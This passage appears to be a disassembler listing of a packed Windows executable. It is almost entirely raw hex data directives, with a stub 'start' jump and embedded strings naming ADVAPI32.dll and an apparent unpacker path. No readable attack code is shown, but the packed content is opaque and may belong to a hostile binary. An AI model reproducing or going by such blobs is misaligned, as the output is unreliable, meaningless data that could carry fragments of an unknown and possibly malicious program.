0CB2ECA94h, 0A6640C00h dd 387AA81h, 47CE6331h, 0D000994Eh, 0EC5379DFh, 0E3DEE2F4h dd 0A84F3180h, 0A6F6212Fh, 0D5DBF00h, 883D175Bh, 0C06601E2h dd 0CEFBC628h, 9AC8C3B5h, 931855D1h, 26413DDEh, 779901D6h dd 38D359A7h, 28C4045h, 22013695h, 0E3C2433Ah, 319637DEh dd 0FE0000F8h, 9EDCA76Eh, 1A02D11Eh, 341D2F40h, 18E037CDh dd 31DADF69h, 0EE00F9F7h, 0BFCE9028h, 2784025h, 524DA162h dd 1B00B98Ah, 1844ACCDh, 3934DE0Ch, 4E00773Ch, 89189955h dd 4FBA0Ah, 9E7DAC45h, 914C797Eh, 4ACCD600h, 22C71CA7h dd 7417B8Eh, 0F06B44DDh, 231B102Ah, 7E0E0E9Ch, 0F2E645ACh dd 73D63C43h, 0F8889BBDh, 0A1B882h, 5F373E1Bh, 0F49DFA36h dd 3344B49h, 6EB58DF1h dd 1A28F818h, 0E8200DAh, 0F932FF79h, 1F15C675h, 5CE601h dd 42F73FD8h, 3ED92A50h, 3998B23Dh, 0F45AE4DDh, 0C1E98218h dd 1D0B6B89h, 8305FBDCh, 3C7CF0Ah, 287D39F0h, 1E06827Ch dd 0C6863753h, 54F41831h, 275B68CBh, 0F3AAF000h, 2638589Eh dd 591F00D9h, 90B1A0BFh, 31094D7Ah, 901DF462h, 2D6624h dd 0DB01ED6Ah, 2E6BA0B3h, 8F3CC248h, 0CF664F98h, 41A9C58Dh dd 0CFDF8046h, 9170021h, 7218BD7Fh, 1300C7F6h, 0EF24F754h dd 50165AEAh, 7F8C98h, 0F37559B2h, 0CE86B67Eh, 81B31D30h dd 79F8353Dh, 0A0DDFED5h, 27283Ch, 0A7FDC503h, 9605C68Ah dd 0DEA0E604h, 0F88897B0h, 0DBB50FB8h, 9020F593h, 2EAD6718h dd 3D4F0B02h, 0AA9AB3B0h, 663548Ch, 50C5B83Ch, 6EAA001Dh dd 258C220Dh, 0F805D6ADh, 90B395D0h, 42A03007h, 0E26A8E3Eh dd 0E03579EFh, 122EB4C3h, 3124F926h, 0D44115DCh, 30E17C8Bh dd 9F487784h, 622A0204h, 2133DEAFh, 60CEEE59h, 0D504EA5Fh dd 0CFC2CDDBh, 9A148Ch, 0D89187D2h, 75D58506h, 472DC501h dd 3F66C762h, 133AE3F8h, 7587415h, 4611CA80h, 4607E9C6h dd 0E4BC48B0h, 501EA120h, 0A810B095h, 17A1514h, 68DA1956h dd 50BE9D30h, 8ACB2560h, 0C0355000h, 7B59584h, 7C6CE0D4h dd 36DE220Ah, 0D75C9A00h, 8B273041h, 0F64E0061h, 44AD8CD0h dd 0B109EE55h, 320B4C5h, 0BEE854E0h, 421F0039h, 9AFD898Ah dd 6700D126h, 249BFF9Eh, 18146C17h, 0A92DE673h, 2A003B33h dd 5C34CC48h, 0CD11AA7h, 7C8ADF7Fh, 0BD006358h, 0EE75F608h dd 1648C2Fh, 2DC4F5A5h, 607C10C6h, 0B0111E1Ch, 0DF194590h dd 0E8B58931h, 0C83B3024h, 885A0061h, 0CD8D3D4Dh, 6B0F1E31h dd 51B30BB1h, 3EBCD683h, 2041413Dh, 131F0ACh, 1E66ED0Eh dd 0E090742Ch, 0BE03851Dh, 30F3A413h, 346BC046h, 0F468A08Bh dd 0E049C03Fh, 1B5083AEh, 28164A09h, 63708018h, 1986569h dd 437DC6FDh, 63C23ECDh, 330500E4h, 0BCC8EE6Bh, 0B98F04EDh dd 0C0A13719h, 6D820383h, 0B0123818h, 7C8E06A1h, 7CB33E2Dh dd 2BF28B80h, 3B1DF0EFh, 2C84573Eh, 7F60A891h, 2E38BCFEh dd 0CE6BE11h, 9B49B21Dh, 973CAE00h, 0AB19FD6Ah, 3B5D0731h dd 0B5928144h, 16140012h, 232F4BE0h, 1DF7F101h, 6DD1F4Ch dd 0C03CF4D0h, 4B599269h, 8A3FC0B0h, 798A5CD4h, 0E7F38100h dd 87B2567Ch, 7664190Eh, 207808FEh, 8F882808h, 9935009Ah dd 17F4368Ah, 56003A37h, 64B80359h, 54DEDA4Dh, 38F0DBh dd 2696725Ch, 0B6765D0Ah, 3E45A907h, 1CA0A031h, 70EF8E7h dd 0BC561FBDh, 0B40BD006h, 0D441255h, 96CD00B9h, 0F24B7E15h dd 6D007A53h, 4D5BDB99h, 4BCCFC3h, 0E924AB8Ah, 4C74015h dd 4862FD2Bh, 6C1D5014h, 11300CCEh, 0D77C6121h, 7610F6Fh dd 1370F92Eh, 359F2C5Ah, 80192FE9h, 0C4D5AB5Bh, 0A23CA90Fh dd 70007E96h, 0C132B784h, 1266786Dh, 20DD8A7Eh, 0CD9FDC68h dd 1D2DE400h, 37FDB55Ah, 1D62E79h, 4E40092Ch, 1E2EB490h dd 16B23Fh, 0C312C7C4h, 0FF8448h, 674C5A0Eh, 0F6A611F3h dd 4093ED07h, 0C24EF97Fh, 4192EF32h, 604044E8h, 0A4B669Ch dd 1DD9B7E8h, 0E63E409Ch, 0F09DF438h, 0B51A1657h, 884314A5h dd 0B403AE00h, 57F7FEDDh, 28008C98h, 0AFC8E667h, 500766B0h dd 0B05988AAh, 22C4426Ch, 6F7D9Ah, 1544857Fh, 0DA941637h dd 174DDF01h, 9A6A6C1Dh, 16B06DD4h, 7E3E67h, 99A67834h dd 0B1444840h, 127905F6h, 80B05E5Bh, 0F1EFFC1Ch, 0EC36AF07h dd 0ABB226ADh, 308C4443h, 1339BD4Ch, 0B744E6Ah, 90DDBC00h dd 39C5EC51h, 588A5819h, 56E22EC0h, 6402679Dh, 0CB5AF93h dd 0EF2C0A1h, 0E8A8A184h, 0F03816F3h, 62D8200Bh, 6F000443h dd 17455CDBh, 4D99A7h, 4E8F0923h, 0F39FBBCh, 95D26E00h dd 16177B0Eh, 980B3011h, 0B36F5A41h, 801CDE0h, 22D21B0Fh dd 5C320B0Eh, 2DF96103h, 36D07F1Ah, 0F0B9DD91h, 77C36000h dd 4A6D8E7h, 0B3F3D217h, 0CC98C8BCh, 30C8448h, 0BBF65F6h dd 5E190042h, 147F2610h, 8F7F4AB2h, 915FDE09h, 93E800BCh dd 913337DBh, 309E1614h, 5CE0F97Ch, 0E8CD1200h, 517AFC47h dd 2767002Dh, 4A077EB0h, 407791EEh, 4BCBA52h, 0ED8908BCh dd 0AC029485h, 40AAF47Ch, 0F950118h, 0AC943D47h, 87C6C580h dd 0DF4CF08Ah, 75EA8004h, 0E41E3BD4h, 0CDE50748h, 8F0E2ED5h dd 456F188Fh, 26BC43FCh, 0B10029E9h, 7B6EC5E4h, 96B42DAh dd 0AC20823Eh, 62E39C00h, 80B9F456h, 0B3B53400h, 0F2235Eh dd 0B2E0719Dh, 8F467F70h, 0AAB04260h, 0B8F6E3h, 0AF9CEEB3h dd 658DE560h, 0E10B1230h, 0FE921595h, 48FF016Dh, 9A711466h dd 0BCE430EFh, 14980EE0h, 256460E7h, 0F808DE89h, 8F656800h dd 37F04E22h, 88A039Ah, 2BE9FB41h, 0FEAD100h, 0D08D399Fh dd 8A622496h, 94F8004Ch, 528370Ah, 7C3CC700h, 1338EBB3h dd 97881464h, 0D80020A4h, 722AE140h, 0D958156Fh, 0E4022EACh dd 22C4EC00h, 0C032BE2Eh, 544AA91h, 9CFCB069h, 41C6574h dd 6F45F5BCh, 0ACC72B36h, 9524924h, 50820E64h, 1829B0BDh dd 2ECDB5A8h, 310EE6BFh, 30D104A8h, 7988100Ch, 0EE3604C2h dd 88494092h, 0DE0B3F18h, 85547853h, 8430388Ch, 16090D8h dd 0A80B0781h, 20803B99h, 0CD0184D0h, 0B7930A11h, 789E5306h dd 26D868AAh, 174F7B3h, 0C1ACC264h, 9C0208Ah, 44E6D228h dd 3FBE1302h, 5ADF2EECh, 6F600BCh, 7C24530Ch, 693C604Bh dd 0A4FF00F7h, 52DC84FEh, 620E2E73h, 67040398h, 0C10E8F13h dd 0A0EA6A9Ch, 9DACE518h, 0D8B95008h, 0DE8901FCh, 2E5A1184h dd 0D2D44039h, 2F44E6D1h, 0B358267Eh, 26230E25h, 0A87D38E3h dd 30182E18h, 9C323799h, 0ABED41B0h, 542CE0h, 63AF8DE9h dd 2965D59Bh, 5C43834h, 2435C62Eh, 50A2F0h, 0EBDE72B8h dd 5C8451h, 8124FB0Ch, 0AD671C6Ch, 0D42CC71Ah, 0B3F004B0h dd 92FE898h, 395A12E8h, 3B070064h, 7F9EB893h, 8037E8AFh dd 0A9CD5640h, 690025A5h, 8422E53Fh, 4C85C1C0h, 0A030A882h dd 0CBA605C0h, 0A6484127h, 7418114Ch, 66B20A7Dh, 49944434h dd 9F56880h, 64036EACh, 0CB40D683h, 38300E0Eh, 94349FE6h dd 0B37B2222h, 20800803h, 0B03139BCh, 0C1BE1DA8h, 9F4CC269h dd 106AE4F3h, 0A6D5F000h, 0A27288ACh, 356706Bh, 388053BCh dd 34E8B87Ch, 0AF03A142h, 4B411E44h, 0EB495809h, 4A8DFE00h dd 0B3855F2Fh, 0F08EAB26h, 3812D98Ah, 99EE8100h, 0BF8CBBh dd 7CF4A80h, 0A8377F39h, 0DE407B00h, 0E626CE9Dh, 0D4C1C0DAh dd 92969E19h, 0F1837D01h, 44334160h, 0B14A42ECh, 2EE60CDCh dd 2F005B31h, 0D5C70118h, 136F67Fh, 2003DC9Bh, 0F3E6D4B8h dd 6064293Ch, 0D76CF04Ch, 4EDA0087h, 7D7A71E2h, 9A25A34Ah dd 0A8886062h, 0B4F9489Bh, 0D2FEB507h, 615A1016h, 3CA8AA29h dd 8901B4D6h, 3BA07211h, 5F85E4Ch, 24357184h, 96581EFh dd 88801183h, 0D11C311Ah, 0E739AC0Bh, 511CA7D9h, 90624480h dd 60354834h, 1FE5BC80h, 0B20B56ADh, 0E213BACh, 0F4873050h dd 7300483Dh, 0F1AD5C07h, 0FFDB0105h, 752E1716h, 2022C9B7h dd 0E3A3A10h, 0AA1C1F66h, 0FC24BD56h, 0ADA210C7h, 0D851C9h dd 0F98B0A6Fh, 0FAC0BF4Ah, 8AB3547Dh, 613B0962h, 0EC007748h dd 0AD6BA8A7h, 0C4723426h, 0B4307E16h, 1FCB4AABh, 801E48E4h dd 718403F6h, 803B942Ch dd 0AB650357h, 0A816BCF9h, 4B69438Ah, 51A020AAh, 3EED589h dd 869A3B03h, 81920B82h, 0C4340AE4h, 50608A44h, 4F6072DFh dd 5A45F4C8h, 22B4A0A5h, 5FAD16B0h, 263C70CBh, 11E89862h dd 59028D7Eh, 0ABC348DDh, 4FC487BBh, 6844B9h, 9C88A1D3h dd 59E9FFBh, 7F345B02h, 5A075A9Bh, 9818987Ch, 601A542Ch dd 1FA71E5h, 414F445Dh, 0EC892762h, 5B0C4A5Ah, 29D2E99Ah dd 0CDFA001Fh, 0DCF549FFh, 573DA98Ch, 5D180EB2h, 0BB76E00Fh dd 1675568Bh, 115B40EEh, 4B9FDC58h, 44DB8Fh, 4BED4300h dd 8CEF2F66h, 38D800D7h, 8939C07Eh, 930E7AABh, 80F96740h dd 21254EEEh, 20AA4C8Fh, 2639F31Eh, 22EB8248h, 79101366h dd 0D671D1h, 7B3CE7EDh, 48409EE5h, 7E21B762h, 2C546099h dd 48408B10h, 0EF0F28C0h, 0E73CDFF1h, 10AA0F37h, 0A4C0BC16h dd 0B4015A58h, 94BE4300h, 0FCA836D0h, 952F1700h, 0C30DB61Ch dd 99E6480Fh, 7EB38302h, 34619C4Dh, 0E4DF1255h, 0F53600D4h dd 85FD07B6h, 26053560h, 0CCCE976Bh, 0FFFF012Fh, 0B6h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57C2CA: ; CODE XREF: start:loc_513265j ; DATA XREF: start:loc_513086o jmp loc_57F81B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 10h dd 0 dd 28000000h, 0B08Bh, 2 dup(0) dd 0E0000000h, 480129AAh, 0FFB518h, 0Dh dup(0) dd 743FF800h, 6 dup(0) dd 86000000h, 0A30E1DE5h, 1980h, 7 dup(0) dd 38000000h, 0EBh, 6 dup(0) dd 0E0000000h, 129AAh, 94000000h, 7C90EBh, 6 dup(0) dd 80000000h, 12FEh, 5B000000h, 76F36Ch, 0Fh dup(0) dd 0E4000000h, 4700B08Eh, 7D4830h, 0 dd 1E000000h, 0DAh, 2 dup(0) dd 0FC000000h, 0A8F9h, 82000000h, 86B870h, 0D80004D0h dd 0B036h, 3 dup(0) dd 28004882h, 1D330h, 0Bh dup(0) dd 0B0000000h, 1D1FFh, 5 dup(0) dd 34000000h, 0CC005E90h, 176CB22h, 200h, 2 dup(0) dd 1000000h, 4 dup(0) dd 0F3000000h, 0FFh, 0B2h dup(0) dd 208002h, 0DA000000h, 17C8111h, 90000000h, 76F217h, 7E000000h dd 7EDBBFh, 5 dup(0) dd 0A0000000h, 5AC5h, 0 dd 27000000h, 2 dup(0) dd 38000000h, 0E80235h, 4 dup(0) dd 80000000h, 2, 4 dup(0) dd 24000000h, 0FFA50Ch, 2 dup(0) dd 0F000000h, 0B018h, 3 dup(0) dd 0A400C000h, 3F03EAh, 2 dup(0) dd 0E8000000h, 0FFFF9Ah, 0 dd 81000000h, 0E1CB36A2h, 0FFA4FDh, 2 dup(0) dd 89000000h, 7A75F41Ch, 9, 4 dup(0) dd 0F7000000h, 0B31Ch, 24000000h, 46DB56h, 0ED000000h dd 83CA80h, 4 dup(0) dd 58000000h, 7C863Fh, 7 dup(0) dd 0D3000000h, 7485EDh, 0A14F8882h, 5B80h, 1000000h, 3 dup(0) dd 68000000h, 1FD8F7h, 5 dup(0) dd 83000000h, 0F76EF0A4h, 7E0D5Dh, 2000000h, 4 dup(0) dd 0C0000000h, 1C000000h, 0FFFF9Fh, 19h dup(0) dd 65000000h, 0FAA4D4h, 11000000h, 111111h, 0 dd 44000000h, 8A4D3Dh, 2 dup(0) dd 94000000h, 7C90EBh, 2 dup(0) dd 54000000h, 12FFh, 0A0000000h, 0 dd 40000000h, 7C8026h, 3D000000h, 5802h, 1Ch dup(0) dd 65000000h, 73FAA4D4h, 57E1h, 0Ch dup(0) dd 0DF000000h, 0A9C530h, 5077DD00h, 0FDDE00h, 7 dup(0) dd 43000000h, 0E90057CFh, 0D6h, 29h dup(0) dd 33000000h, 6017h, 0E0000000h, 5C65h, 2 dup(0) dd 0C4000000h, 0C20012FFh, 0FFA478h, 2B000000h, 5ED8h dd 91000000h, 6D4AD1h, 12h dup(0) dd 0A000000h, 5C005E8Fh, 0B53Fh, 94000000h, 0E97C90EBh dd 0D6h, 3 dup(0) dd 2A0h, 0 dd 3E000000h, 5B87h, 18000000h, 0B029h, 48000000h, 0FAD284h dd 2 dup(0) dd 32000000h, 0B38Bh, 11h dup(0) dd 0FC000000h, 4493h, 4 dup(0) dd 0DF000000h, 5AFE06h, 2 dup(0) dd 0E2000000h, 4D971F8h, 0FF000000h, 0FFFFFFh, 8 dup(0) dd 2B000000h, 5ED8h, 6 dup(0) dd 0ED000000h, 1005FE0h, 2 dup(0) dd 0F9000000h, 3C7C90DDh, 0FFFF8Bh, 2 dup(0) dd 1000000h, 0Dh dup(0) dd 94000000h, 5F00h, 2 dup(0) dd 0C0000000h, 838213h, 2 dup(0) dd 94000000h, 7C90EBh, 5 dup(0) dd 9D000000h, 0FFA2B7h, 7 dup(0) dd 0AA000000h, 0DD99CDh, 5A000000h, 5F4Dh, 0 dd 0DA000000h, 90000024h, 7 dup(0) dd 0D1000000h, 7, 0FC000000h, 0A62938E7h, 0D8005C32h, 5FE1h dd 7 dup(0) dd 0FF000000h, 5B98h, 0 dd 4010h, 4000000h, 0 dd 0BB000000h, 5F23h, 3 dup(0) dd 0D0000000h, 0E100B09Fh, 49005E3Fh, 8CC9EBh, 2 dup(0) dd 0F5000000h, 6Dh, 3 dup(0) dd 94000000h, 8900003Dh, 4005D4Bh, 5BD5h, 4000h, 8 dup(0) dd 70000000h, 0B5B2B5h, 0 dd 34000000h, 5B66h, 80000000h, 0ADFFE9h, 6 dup(0) dd 26D00h, 0B8000000h, 0B7D9D5h, 0 dd 3000000h, 0B0FAh, 0 dd 0DF000000h, 30h, 5 dup(0) dd 0DB000000h, 25005FFEh, 0B00Ah, 8 dup(0) dd 0B8000000h, 0 dd 374C00Bh, 8B0018C2h, 530C2444h, 0E8h, 0C3815B00h, 17h dd 10245C89h, 14244489h, 0FA37B85Bh, 0E0FF00B0h, 424448Bh dd 0E0FFh, 13h dup(0) dd 8B000000h, 0FF0908h, 28000000h, 41005C54h, 5AF9h, 4 dup(0) dd 43000000h, 5C03h, 0 dd 50026E00h, 5F20h, 9E000000h, 0FFA493h, 6 dup(0) dd 74000000h, 0E800016Bh, 0D100000Fh, 0D5BB9Eh, 8 dup(0) dd 93000000h, 5CC5h, 4 dup(0) dd 0FF000000h, 0FFFFFFh, 0 dd 42000000h, 1600B018h, 5B52h, 4 dup(0) dd 90000000h, 5B5Ch, 0Ch dup(0) dd 73000000h, 57E1h, 0E0000000h, 129AAh, 3 dup(0) dd 0A4000000h, 12FFh, 4 dup(0) dd 3000000h, 47013750h, 5C95h, 3 dup(0) dd 0B000h, 5 dup(0) dd 0E000000h, 0A17C8018h, 5B80h, 0FE000000h, 0DB005D9Eh dd 37439F3h, 5BE9h, 0 dd 0A4000000h, 0AC0012FFh, 6021h, 7 dup(0) dd 29000000h, 0F571D3Dh, 0B018h, 0B0000000h, 121FFh, 26C00h dd 0 dd 73000000h, 0FFA1F9h, 2 dup(0) dd 8C000000h, 3 dup(0) dd 0EA000000h, 69005AFBh, 7457E9h, 4 dup(0) dd 99000000h, 0EA9EEDh, 9000000h, 0FFA0C2h, 3 dup(0) dd 1000000h, 0DF000000h, 0A9C530h, 0 dd 89000000h, 5EDDh, 8 dup(0) dd 0FC000000h, 3C0057EFh, 245Fh, 5 dup(0) dd 5F000000h, 0D3h, 5 dup(0) dd 0A3000000h, 0CDA680h, 0Ch dup(0) dd 98000000h, 0FFFFA3h, 3 dup(0) dd 0F6000000h, 5BDDEAh, 3 dup(0) dd 1F000000h, 0AE02h, 80000000h, 7C803Bh, 10h dup(0) dd 77000000h, 0E97C810Ah, 2C0000EDh, 25200h, 0 dd 1B000000h, 5B64h, 3 dup(0) dd 3C000000h, 0B01Ah, 3F000000h, 5E95h, 8 dup(0) dd 0E0000000h, 129AAh, 0 dd 0DD000000h, 0E77CDBEBh, 2 dup(0) dd 1B000000h, 57CCh, 4 dup(0) dd 64000000h, 0 dd 0FE7E4100h, 39EF7Dh, 0Dh dup(0) dd 1B000000h, 3DF1F9h, 0 dd 27000000h, 5AF9h, 3 dup(0) dd 4D000000h, 0FFFEA3h, 88000000h, 8C000000h, 0FFFF95h dd 3 dup(0) dd 64000000h, 4 dup(0) dd 0BE000000h, 0FF4FE7h, 0 dd 7C8000h, 6D000000h, 8700600Ah, 0A6D2h, 0 dd 0AD000000h, 7E41A8h, 0 dd 83000000h, 77DD78h, 3 dup(0) dd 36000000h, 0FF363636h, 0FFFFFFh, 3 dup(0) dd 0CE000000h, 200000E9h, 0B08Dh, 4 dup(0) dd 6C000000h, 14h, 2 dup(0) dd 0B0000000h, 770121FFh, 7C801Dh, 5 dup(0) dd 47000000h, 107C809Bh, 0C1000027h, 7C80ABh, 2 dup(0) dd 4000h, 5 dup(0) dd 36000000h, 0FF9FDDh, 6 dup(0) dd 0D5000000h, 8048B125h, 23000000h, 5B00h, 0ED000000h dd 7276E0h, 5 dup(0) dd 36000000h, 0AD005F02h, 0B2FCh, 0E8000000h, 0FE8ECCh dd 0 dd 24000000h, 0BA7C801Ah, 1113000h, 5 dup(0) dd 0E7000000h, 5 dup(0) dd 0DD000000h, 0B3958h, 8 dup(0) dd 1B000000h, 6577DFC4h, 0FAA4D4h, 3 dup(0) dd 0A0000000h, 7C80ADh, 4 dup(0) dd 0B6000000h, 89005A6Dh, 0FFFFFFh, 46000000h, 5B66h, 4 dup(0) dd 0DF000000h, 0A9C530h, 0DA000000h, 100A7Eh, 72000000h dd 5C94h, 2 dup(0) dd 0B5000000h, 5BE7h, 0 dd 82h, 2 dup(0) dd 7000000h, 600EDCh, 0 dd 0CF000000h, 7C80B4h, 0 dd 0BC000000h, 225214h, 0Ah dup(0) dd 68000000h, 39000000h, 0EB4F88CDh, 464934h, 0 dd 0F0000000h, 12FFh, 2 dup(0) dd 18000000h, 7C90EEh, 94000000h, 0EBh, 2 dup(0) dd 6C000000h, 836F14h, 13h dup(0) dd 31000000h, 3A3ED7h, 0E0000000h, 5D0Eh, 38000000h, 0C662761Ch dd 0F367CEh, 3 dup(0) dd 0B0000000h, 5EB9h, 0E7000000h, 0Ah dup(0) dd 10000000h, 5C953h, 3 dup(0) dd 8D7C9000h, 1F3137h, 2 dup(0) dd 3C000000h, 0FFFF8Bh, 3 dup(0) dd 34000000h, 5B66h, 12h dup(0) dd 6A000000h, 8BB81h, 7 dup(0) dd 18000000h, 417C90EEh, 5E36h, 16h dup(0) dd 28000000h, 7801D330h, 0B328h, 0C2000000h, 5D4Bh, 0 dd 34000000h, 5B66h, 2 dup(0) dd 6C000000h, 836F14h, 7 dup(0) dd 94000000h, 3Dh, 94026B00h, 3Dh, 6C000000h, 18003FC2h dd 991BAFh, 2 dup(0) dd 0BC000000h, 9 dup(0) dd 78000000h, 43D57Bh, 0Ah dup(0) dd 25200h, 0 dd 0B000h, 5F000000h, 17FC93h, 3 dup(0) dd 0D7000000h, 0FFA2CFh, 2 dup(0) dd 0B0000000h, 181FFh, 0 dd 0B0000000h, 151FFh, 19000000h, 0 dd 64000000h, 0Ah dup(0) dd 0E7000000h, 0F0EF9Bh, 0 dd 1000000h, 24000000h, 242424h, 0 dd 46001100h, 5B83h, 2 dup(0) dd 0AA000000h, 1DD99CDh, 36000000h, 5F02h, 0Bh dup(0) dd 3E000000h, 5B87h, 3000000h, 0B0FAh, 94000000h, 7C90EBh dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ch dup(0) dd 0E0000000h, 129AAh, 4 dup(0) dd 44000000h, 321514h, 44000000h, 0B01Ah, 3 dup(0) dd 0F1000000h, 0F3A16Bh, 7C000000h, 44000059h, 0CE8A4D3Dh dd 5BE9h, 0 dd 18000000h, 87C90EEh, 0D4048EE7h, 3 dup(0) dd 83000000h, 5EB7h, 2 dup(0) dd 0E0000000h, 129AAh, 0 dd 0CF000000h, 0B0A8h, 3 dup(0) dd 0D3000000h, 5EF3h, 5 dup(0) dd 90000000h, 4B76F212h, 3 dup(0) dd 0E9000000h, 13h, 5 dup(0) dd 0CE000000h, 0C535FBD1h, 5F27h, 4 dup(0) dd 90000000h, 5B005C42h, 0D066h, 0Eh dup(0) dd 94000000h, 7C90EBh, 0 dd 0A4000000h, 12FFh, 3 dup(0) dd 37000000h, 77DDEEh, 0E8000000h, 14h, 8 dup(0) dd 8D000000h, 2005A75h, 0F4000000h, 5BF1h, 3 dup(0) dd 0BC000000h, 40187Eh, 3 dup(0) dd 0E0000000h, 129AAh, 4 dup(0) dd 40000000h, 0B01Ah, 4 dup(0) dd 6C000000h, 44000000h, 0C246DAh, 2 dup(0) dd 3000000h, 0FFA1DAh, 2 dup(0) dd 0A8000000h, 0E700144Bh, 0FD10E1h, 0 dd 3000000h, 0B0FAh, 2 dup(0) dd 54000000h, 12FFh, 0FF000000h, 0FFFFFFh, 3 dup(0) dd 0F7000000h, 20707F9Fh, 0FED655h, 0 dd 28000000h, 5B67h, 2 dup(0) dd 0F2000000h, 7C814Ah, 0Ah dup(0) dd 8A000000h, 32DBE4h, 0 dd 18000000h, 0EC0000EEh, 0B037h, 2 dup(0) dd 84000000h, 94000000h, 347C90EBh, 5B66h, 8 dup(0) dd 5A000000h, 0E7BA2E6Bh, 24000000h, 6400B00Eh, 7C802Ch dd 3 dup(0) dd 3E000000h, 0B000h, 0CB000000h, 6022h, 2 dup(0) dd 3E000000h, 0FFF908h, 3 dup(0) dd 9000000h, 8F8060h, 9 dup(0) dd 0BF000000h, 0FFA506h, 29h dup(0) dd 2E000000h, 0DA10F8FDh, 7C81CDh, 0 dd 0C7000000h, 5F2D38h, 0F000000h, 0B63Fh, 0FD000000h dd 96E3Ch, 5E000000h, 0FA4429h, 3 dup(0) dd 0CD000000h, 0DE4C669Bh, 7C80ABh, 9 dup(0) dd 0E5000000h, 0B631h, 0E000000h, 7C8018h, 200h, 0 dd 37000000h, 0DD41ECh, 0E7000000h, 77DDEBh, 0 dd 0E0000000h, 12FFh, 9 dup(0) dd 9E000000h, 91E5B6h, 0 dd 17000000h, 0B094h, 6 dup(0) dd 51000000h, 2900B08Eh, 10449BFh, 0 dd 6C000000h, 6011h, 9 dup(0) dd 0F000000h, 0B018h, 0EE000000h, 7DC995h, 5 dup(0) dd 94000000h, 7C9068h, 0 dd 8D000000h, 0FFA81Eh, 7 dup(0) dd 5E000000h, 0FA4429h, 5 dup(0) dd 0B9000000h, 15CBC1h, 0E4000000h, 23h, 3 dup(0) dd 0B5000000h, 77D713h, 94000000h, 7C90EBh, 5 dup(0) dd 8000000h, 0BD00B0B5h, 1C7AFAC2h, 7D000008h, 8Dh, 0FC000000h dd 0 dd 0BA000000h, 0EEDA22h, 0 dd 0EE000000h, 852BEh, 2 dup(0) dd 94000000h, 8F7C90EBh, 0A1836F04h, 0C000B0AAh, 5EB6h dd 3 dup(0) dd 8D00B000h, 0FFA81Eh, 0 dd 26C00h, 75000000h, 5EF5h, 0 dd 23000000h, 5C64h, 1, 7 dup(0) dd 0E9000000h, 5F03h, 6 dup(0) dd 5C000000h, 0FF9F78h, 3 dup(0) dd 54000000h, 12FFh, 6 dup(0) dd 15000000h, 0FFFFCBh, 0 dd 0F4000000h, 7FAh, 0Eh dup(0) dd 2000000h, 562B30h, 0 dd 72000000h, 5C94h, 0 dd 0BA00A500h, 0EC113000h, 62FEB3h, 0E9000000h, 7780EDh dd 0Dh dup(0) dd 0AD000000h, 0BA7E41A8h, 113000h, 0 dd 0D4000000h, 9A025B6Dh, 1F005AFBh, 57DEh, 24221300h dd 0FFA50Ch, 5 dup(0) dd 0FB000000h, 0BF0057EFh, 573EDDh, 3 dup(0) dd 0CB000000h, 7865571Fh, 0B591h, 4 dup(0) dd 0EB000000h, 93000060h, 0B124h, 80000000h, 226DEBh, 0 dd 9C000000h, 4 dup(0) dd 94000000h, 0AC7C90EBh, 0FFED00h, 5 dup(0) dd 6C000000h, 836F14h, 3 dup(0) dd 94000000h, 3 dup(0) dd 5B000000h, 0A176B44Eh, 7C80BEh, 0C8000000h, 9C9A05h dd 0 dd 0F0005110h, 72h, 5 dup(0) dd 69004882h, 0B61Eh, 97000000h, 0CCh, 3 dup(0) dd 0BA000000h, 5E113000h, 0FA4429h, 40000000h, 0B01Ah dd 7 dup(0) dd 57000000h, 5D50h, 3 dup(0) dd 0E5000000h, 77DDEDh, 3 dup(0) dd 68000000h, 836F8Eh, 3 dup(0) dd 0FD000000h, 0FFA416h, 2 dup(0) dd 97000000h, 57CCh, 0BF000000h, 573EDFh, 0A4000000h, 6087h dd 0 dd 2C000000h, 5D4Bh, 0 dd 1000000h, 5000000h, 0A2801h, 3 dup(0) dd 94000000h, 7C90EBh, 0Fh dup(0) dd 0D4000000h, 13F3E8A3h, 0E700B602h, 47A7DFh, 0Bh dup(0) dd 0F6000000h, 5BDDEAh, 2 dup(0) dd 94000000h, 0F67C90EBh, 7C801Bh, 2 dup(0) dd 1000000h, 0A0000000h, 6007h, 0 dd 34000000h, 0C2005B66h, 5AFBh, 0Ah dup(0) dd 94000000h, 0A07C90EBh, 5 dup(0) dd 16000000h, 5EA12Eh, 0 dd 69000000h, 0A4672681h, 0 dd 74000000h, 865559h, 2 dup(0) dd 60000000h, 0FFA30Dh, 3 dup(0) dd 97000000h, 0CCh, 0A1000000h, 4400B0AEh, 3C246DAh, 0B0FAh dd 0 dd 3000000h, 5BE9h, 0Bh dup(0) dd 29200h, 0E8000000h, 200246h, 2 dup(0) dd 0C8000000h, 12FEh, 3 dup(0) dd 1, 2 dup(0) dd 0FF000000h, 0A9C529h, 2 dup(0) dd 22000000h, 5B87h, 0 dd 84000000h, 5426D4h, 3 dup(0) dd 60000000h, 0FFFFFFh, 0D7000000h, 0A8E2C2h, 0 dd 94000000h, 0BF7C90EBh, 0ADE223ECh, 88B754h, 0 dd 65000000h, 0FAA4D4h, 6 dup(0) dd 94000000h, 7C90EBh, 2 dup(0) dd 38000000h, 5C99h, 0E9000000h, 10B7h, 3 dup(0) dd 78000000h, 962h, 4 dup(0) dd 0E0000000h, 129AAh, 15h dup(0) dd 40000000h, 0B8C8h, 0F4000000h, 258447h, 2 dup(0) dd 20h, 14h dup(0) dd 0EB000000h, 464934h, 0Bh dup(0) dd 0CE000000h, 6 dup(0) dd 0FF000000h, 7FDFFFh, 4 dup(0) dd 90000000h, 0FFFFA3h, 0 dd 70000000h, 0B5B2B5h, 3 dup(0) dd 21000000h, 1BDB70h, 0 dd 0D0000000h, 0B00Eh, 2 dup(0) dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 80h dup(0) dd 94000000h, 7C90EBh, 0 dd 74000000h, 2Bh, 0 dd 70000000h, 3000000h, 0FFFFFAh, 3 dup(0) dd 94000000h, 547C90EBh, 3E0012FFh, 5CEBh, 6 dup(0) dd 1F000000h, 5B02h, 94000000h, 7C90EBh, 0E7000000h, 0Fh dup(0) dd 0C0000000h, 0B5177Dh, 3000000h, 57C9h, 2 dup(0) dd 0BA000000h, 0B2113000h, 5C18h, 0 dd 35000000h, 0FFA471h, 19h dup(0) dd 54004000h, 12FFh, 2 dup(0) dd 0FA000000h, 427872h, 0EC000000h, 5BE9h, 